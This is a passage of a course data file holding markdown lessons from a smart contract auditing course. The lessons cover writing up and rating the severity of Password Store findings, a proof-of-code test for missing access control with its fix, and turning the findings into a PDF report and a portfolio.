Finding\n\nWe'll follow the previous finding's format. Here we'll begin with identifying the root cause: the 'Set Password' function in the 'Password Store' has no access controls. The impact? A non-owner could change the password.\n\n### Crafting the Description\n\nHere's the description I penned:\n\n```\nThe 'Password Store' 'Set Password' function is an external function. However, the 'nat_spec' of the function and the purpose of the smart contract is that only the owner should set a new password.\n```\n\nAdding the flawed code segment can be helpful, as it equips readers with a clear visualization of the issue. To do this:\n\n1. Use three backticks to start a code block.\n2. Then write the language that you're using for syntax highlighting — in this case, JavaScript.\n\nThe comments explicitly mention the problematic section, making it easier for others to spot the issue. This step enhances the markdown view and provides better readability.\n\n### Highlighting the Impact\n\nFinally, the impact explanation underscores the problem's gravity, emphasizing that the flaw allows anyone to set or change the contract's password, grossly violating intended functionality.\n\nStay tuned for the next installment, where we probe further into smart contract vulnerabilities. Happy auditing!\n", + "updates": [] + }, + { + "id": "a0c6d506-23e5-450b-a9db-2e263070cb51", + "number": 19, + "title": "Missing access controls proof of code", + "slug": "missing-access-controls-proof-of-code", + "folderName": "19-missing-access-controls-proof-of-code", + "description": "", + "duration": 5, + "videoUrl": "4DxPzYDiOeU", + "rawMarkdownUrl": "/routes/security/3-first-audit/19-missing-access-controls-proof-of-code/+page.md", + "markdownContent": "---\ntitle: Missing Access Controls Proof of Code\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n## The Importance of Proof of Concept & Code\n\nDespite seeming glaringly apparent, proof of concept or proof of code is not always given its due attention, leaving room for security mishaps. Hence, it is essential to validate the protocol. The protocol's existing test suite provides invaluable assistance in doing so.\n\n## Setting Up the Test\n\nHere is a step-by-step guide on creating a custom test:\n\n- Initially, navigate to the test folder for writing the test.\n- Write a function, let's name it `test_anyone_can_set_password`.\n- To make the process more robust, make it a fuzz test.\n- Next, select a random public address.\n- For the first step within this function, we'll need to mock the address, for instance, `VM.prank(random_address)`.\n- Now, establish a string memory, e.g., `string memory expected_password = 'my_new_password'`.\n\nThen, we must reserve a section for the setup function to get the password contract established. An essential part of being a security researcher is being able to code effectively, so congratulations on this milestone when you achieve it!\n\n## Writing the Function\n\nContinuing the coding, remember we're a random address, aiming to set up a new password. Prank the owner of the contract setup in the beforementioned function now with another `VM.prank`. Here is how:\n\n- The string memory, for instance, `string memory actual_password = passwordstore.get_password`.\n- Set an assertion that verifies the `actual_password` and `expected_password` are the same.\n\nIdentifying areas of weakness, understanding them and bringing them to attention is what security research is all about, and hopefully, through these steps, you can do just that.\n\n## Result Presentation\n\nThe results can sometimes appear messy when presented with the test suites, especially in markdown. However, with the use of HTML tags, you can collapse the details into a small, clickable bit, making it more visually appealing.\n\nFor instance:\n\n```markdown\n
\n \n Code Summary\n \n
\n```\n\n## Mitigation\n\nFinally, after discovering the weakness, it is crucial to provide a recommended solution or prevention measure. The solution here would be to add an access control conditional to the 'set_password' function.\n\n```javascript\nif (msg.sender != s_owner) revert(\"PasswordStore: Not owner\");\n```\n\nThe resulting effect would be a more secure 'set_password' function.\n\nWe've thus covered the second part of the testing and proofed it with a practical test case. Careful scrutiny of seemingly minor security risks can drastically enhance the security levels of blockchain systems.\n", + "updates": [] + }, + { + "id": "a74c5914-96ee-42ff-8367-877e8741d95a", + "number": 20, + "title": "Finding Writeup Docs", + "slug": "finding-writeup-docs", + "folderName": "20-finding-writeup-docs", + "description": "", + "duration": 3, + "videoUrl": "wUKTDt44veE", + "rawMarkdownUrl": "/routes/security/3-first-audit/20-finding-writeup-docs/+page.md", + "markdownContent": "---\ntitle: Finding Writeup Documentation Fix\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n## A Brief Overview\n\nThe third finding focuses on an overlooked mishap in the code - there is no new password parameter. While not as alarming as some other findings, it's still a concern that merits attention. As we progress into assessing its severity, you'll understand why it's taken as a relatively minor issue. But as we've done before, we'll be conducting a thorough write-up, irrespective of the severity level.\n\nBefore we begin, here's a heads up: once you get adroit at figuring out severities, you'll notice that gas and informational severities don't necessitate extensive write-ups. But for the sake of consistency and thoroughness, let's treat this finding with the same intensity as the others.\n\nHere's how we proceed:\n\n![](https://cdn.videotap.com/IArtvAsHoY19oT7nCiE3-30.97.png)\n\n## Diving Deeper: Root Cause and Impact\n\nThe root cause of this finding lies within the documentation. It advocates for the existence of a parameter in the code — when it does not exist — throwing the documentation accuracy off kilter. Specifically, the password store get password function's Natspec indicates a non-existent parameter, culminating in incorrect Natspec.\n\nLet's put this in simple terms, shall we?\n\n> **The root cause:** A contradiction between the documentation and the actual function, with the former falsely referring to a parameter within the `get password` function.\n\nThe impact, as you might assume, revolves around the inaccuracy of the Natspec due to the aforementioned discrepancy.\n\n## Getting Technical: Code Analysis and Description\n\nLet's get into the nitty-gritty details by examining the JavaScript code. As visual reference, we're referring to this particular section in the documentation. Here:\n\n> `passwordStore_getPassword` is the function signature, whereas the Natspec suggests the function should be `getPassword` with a string. The divergence results in incorrect NatSpec.\n\n## Proof of Concept: Do We Need this Section?\n\nInterestingly, in this case, a proof of concept seems unnecessary given the straightforwardness of the issue. So, for brevity, we move forward without it.\n\n## Deciphering Mitigation Strategies\n\nOur recommended solution is quite succinct: eliminate the incorrect Natspec line. And here we're going to do a fun little markdown trick where we're going to say a diff.\n\nThis is a markdown format where you can indicate which lines to remove via `diff`. Now, if you preview it, it nicely exhibits in red, signifying that the said line ought to be deleted. Also, if we were to add a new line, we’d mark it with a plus sign, which will display in green for clarity. While in this case, we're suggesting only line removal, diff syntax can be incredibly powerful with its clear depiction of modifications.\n\nThat said, remember: sometimes less is more — a guiding principle that applies to our mitigation strategy.\n\nWhile the omission of the password parameter might seem trivial at first, failing to rectify such issues could lead to larger problems down the road. Therefore, as conscientious developers and security analysts, it's our responsibility to keep our eyes peeled for these issues — no matter how seemingly insignificant they may be! Let's keep doing our part to make the world of code safe and sound.\n", + "updates": [] + }, + { + "id": "29159beb-58fe-4173-8544-58e249532558", + "number": 21, + "title": "Augmented report with AI", + "slug": "augmented-report-with-ai", + "folderName": "21-augmented-report-with-ai", + "description": "", + "duration": 3, + "videoUrl": "rjaLKCmQf7g", + "rawMarkdownUrl": "/routes/security/3-first-audit/21-augmented-report-with-ai/+page.md", + "markdownContent": "---\ntitle: Augmented Report with AI\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Using AI to Improve Smart Contract Codebase Analysis: A Step-by-Step Guide\n\nHi everyone! Today, I'll take you through an interesting process of utilising an AI tool to improve a detailed analysis of a codebase for a smart contract. We'll specifically use Chat GPT (or similar AI) for this purpose. Let's get going!\n\n## A Background of the Case Study\n\nAfter an intense session of analysis, we were able to come up with three separate deductions from the smart contract codebase.\n\n![](https://cdn.videotap.com/oa11o3VbVFQH3Vs1bTeD-13.56.png)\n\nHere are our initial findings:\n\n1. `Password Store get password` indicates that the parameter does not exist\n2. Storing the password on the chain makes it no longer private as it becomes visible to anyone\n3. `Password Store set password` has no access controls, which means a non-owner could change the password.\n\nBut these write-ups were not in the best shape, and we needed to work on them. And that’s where AI comes in.\n\n## Introducing AI into Codebase Analysis\n\nLet’s dig deep into how the AI can assist in making our write-ups more polished. If you ever struggle with write-ups and want to validate the grammar, syntax and format, these AI tools can be a savior. Here are the steps involved:\n\n**1. Initiate a dialog with the AI**\n\nStart by introducing your task here. Copy your write-up and paste it into the AI, saying:\n\n> The following is a markdown write-up of a finding in a smart contract codebase. Can you help make sure it is grammatically correct and formatted nicely?\n\nPaste your finding and seal it with four backticks.`\n\n**2. Wait for AI feedback**\n\n![](https://cdn.videotap.com/CloYoQjFvCrEnY8Rw5d7-74.56.png)\n\nThe AI will generate insightful feedback, picking up typos, suggesting formats, and assessing the grammar. This can be incredibly helpful in refining the delivery of your findings.\n\nIn our case, we had spelled `'incorrect'` as `'incrrect'`, and this was promptly highlighted by the AI. Additionally, it recommended using code format for function signatures and slight grammatical adjustments for better clarity.\n\nWe hence received an edited version of our markdown from our AI-assistant. The final read was much clearer and better organized.\n\n**3. Ensure that the feedback is implemented correctly**\n\nTo ensure the AI assistant didn’t make any errors or omissions, it's critical to carry out a sanity check of its work.\n\nAfter we got the feedback, it was time to delete our previous write-up and paste the improved version from Chat GPT.\n\n**4. Final check of the findings**\n\nWe quickly cross-checked the edits made by Chat GPT. All function signatures were in place, the descriptions were in order and impact of the code was correctly determined. Also, typos and grammatical errors had been corrected.\n\nAfter a thorough assessment, we concluded that the final write-up met our desired specifications.\n\n## Conclusion\n\nArtificial Intelligence, through tools like Chat GPT, can significantly streamline technical write-ups. It adds a layer of quality control, ensuring that your findings read well, look good and most importantly, communicate effectively.\n\nRemember to use these tools to your advantage when drafting complex technical reports. But as we've learnt, always remember to cross-check their work to ensure it is free from errors.\n\nThat's all for today, happy coding!\n", + "updates": [] + }, + { + "id": "03512a5b-d520-4f96-8dbf-ce9ae1b4a002", + "number": 22, + "title": "Quick primer on what we are learning next", + "slug": "quick-primer-on-what-we-are-learning-next", + "folderName": "22-quick-primer-on-what-we-are-learning-next", + "description": "", + "duration": 3, + "videoUrl": "hrHjtS-edFY", + "rawMarkdownUrl": "/routes/security/3-first-audit/22-quick-primer-on-what-we-are-learning-next/+page.md", + "markdownContent": "---\ntitle: Quick Primer on What We Are Learning Next\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Converting Markdown Files to Professional Documents and Adding Severity\n\n## Ratings: A Complete Guide\n\nAlright folks, we've made significant progress already. Reflecting on our development journey, we have notched up three substantial findings which are currently in our repository. However, our to-do list isn't finished yet. We still have two crucial aspects to iron out: first, our three findings need to be appended with their respective severity ratings, and secondly, we need to convert our Findings MD - a markdown file to a professional-looking PDF that can be shared with protocols, community, and others.\n\n## Why Converting Markdown to Professional PDFs and Severity Ratings Matter?\n\nAs developers, markdown files are a piece of cake for us, but we can't presumptuously assume the same for everyone else. Some people may not find them as digestible, hence the necessity to convert these findings into a PDF file or a more standardized looking document. Another advantage of housing this professional-looking PDF file is that we can showcase it on our GitHub, contributing to our portfolio of projects we've audited.\n\n![](https://cdn.videotap.com/icJBNaM8sxENWNYlNi7X-21.65.png)\n\nAnd let's not forget about severity ratings. It serves as a measure to gauge the gravity of our findings - a crucial aspect that we haven't attended yet.\n\nIn short, our work will remain incomplete until these final two tasks are accomplished. To make your quest easier, both tasks are covered under this audit data branch of the GitHub repository associated with this course.\n\n## How to Make A Professional Looking PDF and Define Severities?\n\nBy following the guide provided, you can convert your markdown file into a polished PDF that provides a more congenial read for your protocols during a private audit.\n\n![](https://cdn.videotap.com/6WRfDfytGP8akINajDkG-61.35.png)\n\nMoreover, the course also covers how to define Severities for codehox, competitive audits, and private audits. Upon wrapping up these two tasks, your section is as good as done!\n\n> \"You're almost at the finish line. Your zeal so far has been commendable. No doubt, the codebase was quite minimalistic and elementary, but the learning didn't share the same simplicity. However, you won’t be left in the lurch. Rest assured, a refresher is on its way. Now, let's dive into the concept of Severity Rating!\"\n\n## The Final Stretch: Severity Rating\n\nStay tuned as we delve further into this crucial aspect of the Severity Rating. Together, let's unravel the journey of transforming a straightforward markdown file into a sophisticated PDF and assessing the severity of our findings effectively. No more waiting; let's get to it!\n", + "updates": [] + }, + { + "id": "158ef783-65ee-44e5-875f-e61bee78c412", + "number": 23, + "title": "Severity rating introduction", + "slug": "severity-rating-introduction", + "folderName": "23-severity-rating-introduction", + "description": "", + "duration": 4, + "videoUrl": "Weo1AlLpPQw", + "rawMarkdownUrl": "/routes/security/3-first-audit/23-severity-rating-introduction/+page.md", + "markdownContent": "---\ntitle: Severity Rating Introduction\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n## Your First Audit: Severity Guide\n\nWe have a comprehensive guide on how to conduct your first audit. In this article, we’ll be focusing on one of the most important aspects of auditing: severity ratings, and you can always check the documentation at [CodeHawks](https://docs.codehawks.com/hawks-auditors/how-to-determine-a-finding-validity) if you want more context.\n\n![](https://cdn.videotap.com/7lZzIpoo6m1i2yRO4L8G-32.62.png)\n\n## Categorization: High, Medium, and Low\n\nFor the purposes of this guide, we will be focusing on three categories of severity ratings: high, medium, and low. While some auditors prefer to include an optional “critical” rating, in this article, we’ll stick with the basic three categories.\n\nDetermining the category comes down to two elements: the likelihood of an attack and the impact of the attack. Though these can be subjective, there are some standard guidelines.\n\n1. **High severity**: High impact would be where funds are directly or nearly directly at risk, or a severe disruption of protocol functionality or availability happens.\n2. **Medium severity**: With a medium impact, perhaps funds are indirectly at risk or there’s some level of potential disruption to the protocol’s functionality.\n3. **Low severity**: A low impact finding might not put funds at risk but could indicate a function is incorrect, or a state may not be properly handled.\n\nThink of it in terms of user experience - how upset would users of the protocol be if a certain attack occurred?\n\n11## Assessing likelihood: The Probability Factor\n\nAssessing the likelihood of a certain event happening can be somewhat subjective. That said, consider the following:\n\n1. **High likelihood**: Think of cases where a hacker can directly call a function to hit impact, for example.\n2. **Medium likelihood**: Here, perhaps more specific conditions need to occur for the event to happen, such as a specific type of token being used on the platform.\n3. **Low likelihood**: This would be rare situations that are unlikely to happen but are still technically feasible, such as a certain A, B, C event taking place at a specific time.\n\nOf course, there are situations that are 'computationally unfeasible', or so unlikely they are practically impossible. They are not considered as attack paths.\n\n![](https://cdn.videotap.com/X03vsMLjpN6hMQWiqf3J-168.51.png)\n\n> “Take security assessments seriously. Understanding the severity of problems is crucial when auditors are scrutinizing your code.” -- Raj K.\n\n## Applying the Ratings: Examples\n\nWith a foundational knowledge of categories and likelihood, we can begin applying these to various scenarios. Before we jump into this, take a moment here to digest the above concepts. You can also peruse these examples of high, medium, and low severity assessments to get a better grasp of what these categories might entail.\n\nFor a practical exercise, we can look at the Password Store protocol to understand how to determine the severity of its security issues. Through thorough understanding and application, the severity scales we've discussed here today will prove invaluable to your auditing efforts.\n\nRemember: the goal of any audit is securing the protocol, and an integral part of this process is understanding severity ratings. So make sure to keep these guidelines in mind as you continue your journey in security auditing.\n", + "updates": [] + }, + { + "id": "e5f83485-c2e9-41db-bd7b-69b6bca81dce", + "number": 24, + "title": "Assessing highs", + "slug": "assesing-highs", + "folderName": "24-assesing-highs", + "description": "", + "duration": 4, + "videoUrl": "NtEwjvnLfvA", + "rawMarkdownUrl": "/routes/security/3-first-audit/24-assesing-highs/+page.md", + "markdownContent": "---\ntitle: Assessing Highs\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# How to Evaluate Finding Severity: Hands-On on VS Code\n\nWelcome to the definitive guide on evaluating the _severity_ of your findings. Specifically, we will be drawing examples from storing a password on-chain and finding potential vulnerabilities. By the end of this journey, you'll understand the process of assessing your findings and identifying their severity.\n\n## Understanding the Structure\n\nHere we are, on our findings page, keen to figure out how we evaluate severity.\n\n![](https://cdn.videotap.com/uKAm9nbZqqFSb0JpwSD2-30.14.png)\n\nWithin Vs code, a nifty little drop down helps us to collapse the findings for easy visibility. This feature provides a more consolidated view for efficiency.\n\nHowever, in case your dropdown keeps auto uncollapsing, apprehend the scenario. This blog piece has been built using an approach that still presents the collapsed view for clarity.\n\n## Dissecting Storing Password On-Chain\n\nLet's set the stage with our first finding. Storing the password on-chain is a strategy that makes it visible to anyone, thereby stripping it of its private status.\n\nRanking severity requires us to consider two major aspects: **likelihood and impact**.\n\n### Looking at Impact\n\nWhat does it _criticality_ of making the password public hold? Does it put funds directly at risk? It does not. However, does it cause a severe disruption of the protocol functionality or availability? The answer is a resounding yes.\n\nThe core purpose of a password store protocol is ensuring password safety on-chain. So, when this is disrupted or diminished, we're looking at a high potential impact. This situation will undoubtedly tip towards higher severity.\n\n```markdown\nQuote: \"The impact of storing the password on-chain corresponds to high severity. It severely disrupts the protocol functionality\"\n```\n\n### Understanding Likelihood\n\nBut what is the probability of this mishap? The feasibility of a hacker directly calling this function, extracting money, or breaking the protocol? Indeed, it seems rather easy for this to happen. In the worst-case scenario, passwords stored on-chain could be read off-chain by anyone at any given moment. Hence, _likelihood_ maps to high in this case.\n\nHigh impact and high likelihood, you might know, translates to _critical severity_.\n\nBut we'll just denote this with an _H_ for high impact and high likelihood, signaling a high severity. This way, our first finding is:\n\n```plaintext\n[\"1\"]: H - Storing the password on-chain makes it visible to anyone, stripping it of its private status.\n```\n\nPractically, 'findings' range from high, medium, to low. The worst players are ranked higher, but this trend is more of a rule of thumb and can change based on context.\n\n## Examining Password Store Set\n\nNext, let's explore another scenario. What if the password store set has no access controls? The impact might look something like a non-owner being able to change the password. It's another disruption of the protocol functionality. Scroll down to learn more.\n\nIf any random person sets a password and then another comes to change it at their will, we're indeed looking at another situation with high impact.\n\nSurprisingly, this ploy is not too implausible to pull off. Any budding hacker merely needs to call the '_set password_' function, plug in a new password, and viola, the password has been altered!\n\nEchoing our previous finding, the likelihood of this event is high, making severity palpable.\n\nIrrefutably, this severity is also high. In the scope of this blog, this would be noted as:\n\n```plaintext\n[\"2\"]: H - Password store set has no access controls; a non-owner can alter the password.\n```\n\nOur second high-severity bug!\n\nDiscussing severity, it's important to mention that our first finding outweighs this in severity. It entirely undermines the purpose of the protocol, but this, too, is significantly harmful.\n\n## Investigating Incorrect Natspec\n\nAt last, we have landed on our final finding. If the password store's get-password NatSpec indicates a non-existent parameter, the NatSpec ends up incorrect.\n\nLet's follow the same procedure to evaluate its impact. What-acould-go-wrong with incorrect documentation in the context of severity? Find out in the next section!\n", + "updates": [] + }, + { + "id": "1fd41478-a19f-4b64-abc0-cadc351170e2", + "number": 25, + "title": "Severity rating informational", + "slug": "severity-rating-informational", + "folderName": "25-severity-rating-informational", + "description": "", + "duration": 3, + "videoUrl": "aNs-fKyP5t4", + "rawMarkdownUrl": "/routes/security/3-first-audit/25-severity-rating-informational/+page.md", + "markdownContent": "---\ntitle: Severity Rating Assesing Informational/Gas/Non-Crit\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Understanding the Severity of Blockchain Protocol Findings\n\nAssessing the gravity of issues in blockchain protocols can be challenging, especially for beginners in this complex field. Let's crack the mechanics of this process in a digestible form by breaking down each factor that impacts severity - disruption to the protocol, risk to funds and the chances of occurrence. Additionally, we'll deep dive into differentiating a critical issue from an informational observation.\n\n## What Determines the Severity?\n\nDifferent aspects determine the severity, primarily including whether the funds are at risk or if there is a major disruption. There's an area in the middle, where we are faced with issues that don't explicitly endanger funds or bring total disorder but still present as disruptions that shouldn't be ignored. For instance, a function might not be functioning as intended or state mismanagement.\n\n![](https://cdn.videotap.com/7MnH5j3N8rEe92sSzFg5-23.62.png)\n\n> Examining if the protocol will operate as expected or if user assets are jeopardized aids in understanding the severity.\n\n## What is an Informational Finding?\n\nImagine a situation where there's incorrect documentation instead of a problem in the function itself. The repercussions are minor since the impact is limited to someone potentially misunderstanding the code.\n\nDoes this have a high probability of happening? Yes. However, since it doesn't affect the protocol's functioning or carry any risk, its impact remains negligible, making it a zero impact issue.\n\nConsequently, severity in such cases is assessed as informational or \"noncritz.\" An informational finding is a non-critical instance where you bring it to the team's attention to improve code readability, extend test coverage, or rectify design patterns.\n\nYou may also identify spelling errors, incorrect documentation, and opportunities for gas improvement, even though they don't qualify as bugs.\n\n![](https://cdn.videotap.com/RKj8pxAxknNIVZU5STC2-76.76.png)\n\nA wealth of tools can aid in informational findings to enhance your protocol. Make note of the fact that if you come across something that doesn't qualify as a bug but could potentially improve the code, it will often be an informational finding.\n\n## What are Gas Improvements and Non-critical Issues?\n\n\"Gas\" in the context of blockchain refers to a fee associated with performing certain actions on the Ethereum network. By optimizing the \"gas\" usage of a function or a contract, you can help to reduce the cost of transactions on the Ethereum network.\n\nFor any gas improvements, it's marked as a gas improvement in severity. On the other hand, we have non-critical issues – casually referred to as \"non-Crits\" or \"NCs\".\n\n## Categorizing Severity\n\nEach instance can be easily marked with a simple categorizing system. For example, you can note it as 'I' for informational, 'NC' for non-critical, or 'G' for gas improvements. We will take the example of an incorrect documentation case and mark it as 'I', annotating it as the first informational issue with 'I1'. This approach brings clarity when multiple issues are present, providing an organized overview of severities.\n\nIn conclusion, to understand the severity of protocol findings, we need to evaluate the impact on funds, disruption level, probability, and classify bugs, improvements, and non-critical issues appropriately.\n", + "updates": [] + }, + { + "id": "1e473170-594f-407a-958a-1e0a73e1e791", + "number": 26, + "title": "Timeboxing", + "slug": "timeboxing", + "folderName": "26-timeboxing", + "description": "", + "duration": 2, + "videoUrl": "QuAmxV9PuXo", + "rawMarkdownUrl": "/routes/security/3-first-audit/26-timeboxing/+page.md", + "markdownContent": "---\ntitle: Timeboxing\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# The Art of Code Review: Managing the Password Store Inspection\n\nHello Coders! You know how we all love our code, always willing to add one more line, to make it perfect. Well, today, we'll be discussing a crucial aspect of the developer's life - Code Review, with a specific focus on Password Store.\n\n## Code Review: Do we need another round?\n\nI presume some of you might ask, \"Should we do another review of the Password Store?\" Before we dive in, why don't you take a pause, jot down what you think - do we need another run?\n\n## The answer - Maybe?\n\nWelcome back! So, what's the answer? Honestly, it could be a _maybe_. It's a never-ending process, you can always look at one more line of code or rerun one more box test. But as developers, there comes a point where you've to put down your coding gloves, and tell yourself, \"It's done. Time to move on\".\n\n> \"A good programmer is someone who always looks both ways before crossing a one-way street.\" - Doug Linder\n\n## The Human Aspect in Code Review\n\nAny lingering queries? Well, go ahead and try to get them answered. However, remember, programmers are humans too. Many-a-times, we face time constraints. In fact, I could spend an eternity scrutinizing a set of codes, deciphering more methods, and challenging my local findings. Understanding the intricacies of a particular protocol may seem tantalizing, but it's also essential to know when to stop.\n\n## The Art of Time-Boxing\n\nWhen it comes to reviewing codes, it's really important to master the art of 'time-boxing'. It's a strategy where you fix a maximum time limit to spend on a specific activity. In this case, deciding how much time you'd spend on code reviewing before moving on to reporting. By following this strategy, you ensure that you use your time effectively and avoid being stuck in an endless loop of code optimization.\n\nThe common outcry among most security researchers often is, \"I don't have enough time\". However, the key lies in not having more time, but in managing the available time better.\n\n## Wrap up, Write the Report & Move on\n\nThere's always the lure to gaze upon another line of code, trying to level up your work. But, there comes a point when you need to compile your findings, pen down the report, and move on to the next assignment.\n\nSo, for now, we are at the end of the proverbial road, or let's say, the close of our coding task or nearing the audit deadline. We have our findings, it's time to wrap up and draft the report.\n\nWell then, let’s bring down the curtain here for now and look forward to a new day with newer challenges. Happy coding!\n", + "updates": [] + }, + { + "id": "dec1f423-fbec-418b-b257-afc6f123df6a", + "number": 27, + "title": "Making a PDF", + "slug": "making-a-pdf", + "folderName": "27-making-a-pdf", + "description": "", + "duration": 12, + "videoUrl": "oJfVE91ooRI", + "rawMarkdownUrl": "/routes/security/3-first-audit/27-making-a-pdf/+page.md", + "markdownContent": "---\ntitle: Your First Full Report - Making a PDF\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Creating Your First Professional Markdown Report\n\nHello and welcome back! In today's lesson, we're going to cover how to convert a list of findings into a professional-looking PDF using **Markdown**. This is particularly useful for independent security researchers, new firms, and anyone who wants to get familiar with writing reports and creating their own markdown reports.\n\nOur goal is to transform raw data into valuable information by creating a detailed and comprehensive report. Plus, this gives you something impressive to add to your portfolio!\n\n![](https://cdn.videotap.com/q1CDqX5IudNynKGhU2Z3-28.29.png)\n\n## The Basics\n\nWe're going to start off on Github, specifically our tailor-made repository for creating markdown reports. Make sure to read through the documentation provided in the repo to get a good understanding of the process.\n\nTo get started working with this repo, install **Pandoc** and **Latex** on your machine.\n\n> _Note:_ As mentioned in the course, installation will not be covered here. At this point in your journey, you should be comfortable with this process.\n\nAnother utility you'll need to install is the **[Latex project](https://www.latex-project.org/)**. Once the installations are successful, you should be able to run `Pandoc help` in terminal and receive an output like this:\n\n```\nPandoc 2.2.3\nCompiled with pandoc-types 1.17.5.1, texmath 0.11.1.2, skylighting 0.7.5...\n```\n\nThis is another point at which **Windows Subsystem for Linux** can prove invaluable for Windows users.\n\n## Including a Latex Template\n\nThe next step involves installing a latex template. For our purposes, we're using a package that leverages Pandoc to generate PDFs. This package comes with templates built with Latex syntax which we'll explore further.\n\nYou can find the template within the Github repo. Note that the syntax will look a bit strange - a mishmash of HTML and markdown.\n\nFor customizing your PDFs in future, consider using different templates or creating your own. Collaborating with colleagues proficient in Latex, like **Chat GPT**, can also yield fantastic results!\n\n## Adding Your Own Logo\n\nOnce your template is added, it's time to make the report more personalized. Add your PDF logo to the directory - when using VS Code, you can simply drag and drop the file. If you're having trouble viewing the PDF, try installing the **Vs code PDF** extension.\n\n## Markdown File for Findings\n\nTo detail our findings, we'll need a markdown file: `report_example.md`. On accessing the raw file, you may find the output a little crazy-looking since the markdown file is loaded with Pandoc-friendly text.\n\nCopy this file into a new markdown file named `report.md`. This will become your official report.\n\nInside the report, there are several things you'll need to customize:\n\n- **Title:** Name it something that describes your work precisely such as \"Network Vulnerability Assessment\".\n- **Author:** Replace \"_name here_\" with your own name.\n- **Date:** Update the audit date.\n- **Other Personal Details:** Replace every instance of `your name here` from Cypher or whatever you're working with. Put in your social links for connecting with people when necessary.\n- **Subtitle and logo:** Modify these fields as per your needs.\n\nNow, let's move to the sections under `===` which you can customize according to your audit:\n\n- **Prepared by:** Write your name.\n- **Auditors:** List all the auditors involved in the assessment.\n- **Protocol summary:** Describe the protocol and its workings.\n- **Disclaimer:** Let your clients know that this report is not a guarantee of a bug-free code.\n- **Risk classifications:** Explain the criteria for classifying severities into High, Medium and low.\n- **Audit details:** Include the commit hash that your findings correspond to.\n- **Audit roles:** Input the roles.\n- **Executive summary:** Give a brief overview of the assessment process.\n- **Severity and number of issues found:** This is a visual representation of the findings in the format of a table.\n- **Findings:** Give detailed explanations of the issues found.\n\n**Markdown All in One** extension is very useful for creating automatic Table of Contents in markdown files. It provides the update command at every save post which is really an add-on. If you want to go to any section directly, just click on it from Table of Contents section.\n\nOur report is now ready to be transformed into a marvelous, professional looking PDF!\n\n## Generating the PDF\n\nWe're going to use the Pandoc command provided in our Github repository's `audit report` section to convert our markdown file into a PDF.\n\n_Note: Replace the default file name `report_example.md` with ours - `report.md`._\n\nOnce the command runs successfully, we are left with an exquisitely formatted, professional quality PDF report ready for delivery to the client. We've successfully taken raw audit data, and turned it into a report that we can be proud of.\n\nCongratulations on creating your first professional PDF! Stay tuned for our next session, where we'll step up the game even further.\n\n![](https://cdn.videotap.com/xt6wnkzEX5SLQlpEFKGA-660.14.png)\n\nDon't forget to review what we've done today, and as always, happy coding!\n", + "updates": [] + }, + { + "id": "d6132ca3-3b84-4cca-8d12-bfb779c8cb46", + "number": 28, + "title": "Building your portfolio", + "slug": "building-your-portfolio", + "folderName": "28-building-your-portfolio", + "description": "", + "duration": 2, + "videoUrl": "F4AoVbDE7N0", + "rawMarkdownUrl": "/routes/security/3-first-audit/28-building-your-portfolio/+page.md", + "markdownContent": "---\ntitle: Building Your Portfolio\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Building an Audit Report Portfolio with GitHub\n\nIf you're looking to establish yourself as a credible smart contract auditor or simply a coding maven in security, having an organized and accessible portfolio of your audit reports can be a game-changer. Whether they're your latest software Security Reviews or faith-inspiring Code Hawk Learnings, these reports can narrate your journey and expertise, and impress potential clients or employers.\n\nIn this article, we'll be talking about how to compile your portfolio on GitHub and at the end of this, you'll have your first portfolio ready to charm the world! So let's jump straight in.\n\n## Step 1: Create a New Repository\n\nWe begin by creating a new repository in your profile. You can name this repository anything that suits the narrative of your work - \"My Audit Reports\", \"Security Reviews\", \"Updraft Portfolio\", etc. We decide to name our repository \"Codehawks Security Portfolio\".\n\nHere's how you create a new repository:\n\n![](https://cdn.videotap.com/ylBHN6CdlSHusSOxkXLn-28.09.png)Remember, our aim is to allow everyone to see your work, hence, while setting up, we are choosing to make this repository Public.\n\n## Step 2: Adding an Existing File\n\nScroll down to the Git setup page and click on “upload an existing file”. If you're using a Mac, you can easily reveal hidden finder by right-clicking and choosing 'Reveal in Finder'. Of course, Windows users can find their own methods to navigate to the file explorer.\n\nWe are essentially looking to add our PDF reports here. I’ll take an example report and add it to the repository.\n\n![](https://cdn.videotap.com/7MisAyQ4lUn7Krsu2RmR-51.5.png)> **\\*Note:** Renaming your report with a prefixed date, for example, \"Date2020_311_OnePasswordStoreAudit\", can help you stack your reports chronologically. This could, in turn, allow you (and others) to effortlessly trace your progression.\\*\n\nAdding the renamed report to the repository is as simple as copying it and pasting it back into the repository folder in your finder.\n\n## Step 3: Committing Your Changes\n\nOnce the report is added, you'll need to confirm your changes by 'committing' them. Click the `commit` button at the base of the screen to save the changes.\n\n## Step 4: Building On Your Portfolio\n\nNow the important figurative brick has been laid. You can continue building up by adding your reports as and when they come in. You can create a README file later to guide the repository visitors through what they can find and expect from this repository.\n\nBy clicking the link of your portfolio, now anyone can delve into your journey, witness the work you have accomplished, and instill trust in your abilities as a smart contract auditor or a security specialist. You can now use these repositories to display your portfolio to the world.\n\nCongratulations! You have successfully set up your first portfolio using Github. It's a huge milestone and now with this achievement, you are ready to showcase your work, experiences, and skills to the world. Keep this portfolio updated and it's only going to impress potential clients and employers and skyrocket your chances in landing that dream opportunity.\n", + "updates": [] + }, + { + "id": "eae0082a-5f73-478d-a395-77171bf7dfd6", + "number": 29, + "title": "Exercises", + "slug": "exercises", + "folderName": "29-exercises", + "description": "", + "duration": 4, + "videoUrl": "jXDA-a6Fh14", + "rawMarkdownUrl": "/routes/security/3-first-audit/29-exercises/+page.md", + "markdownContent": "---\ntitle: Exercises\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Your Unprecedented Progress in Code Auditing and What's Next\n\nHey everyone! I just wanted to congratulate you on completing the first section of our code auditing course. It's a giant leap forward in your journey to beefing up your security skills. By far, this was the smallest and easiest code base we've dealt with - full of glaringly obvious bugs, perfect for beginners.\n\nBut did you find it too challenging? Don't worry! The challenges are only set to spike from here. Remember, in your exploration and troubleshooting, you may sometimes get presented with poorly written code. Don't let the bad code distract you. Your focus should be on debugging it.\n\n## Cheers to your Accomplishments!\n\nAgain, a massive congratulation to everyone for your achievements so far! You've taken a crucial first 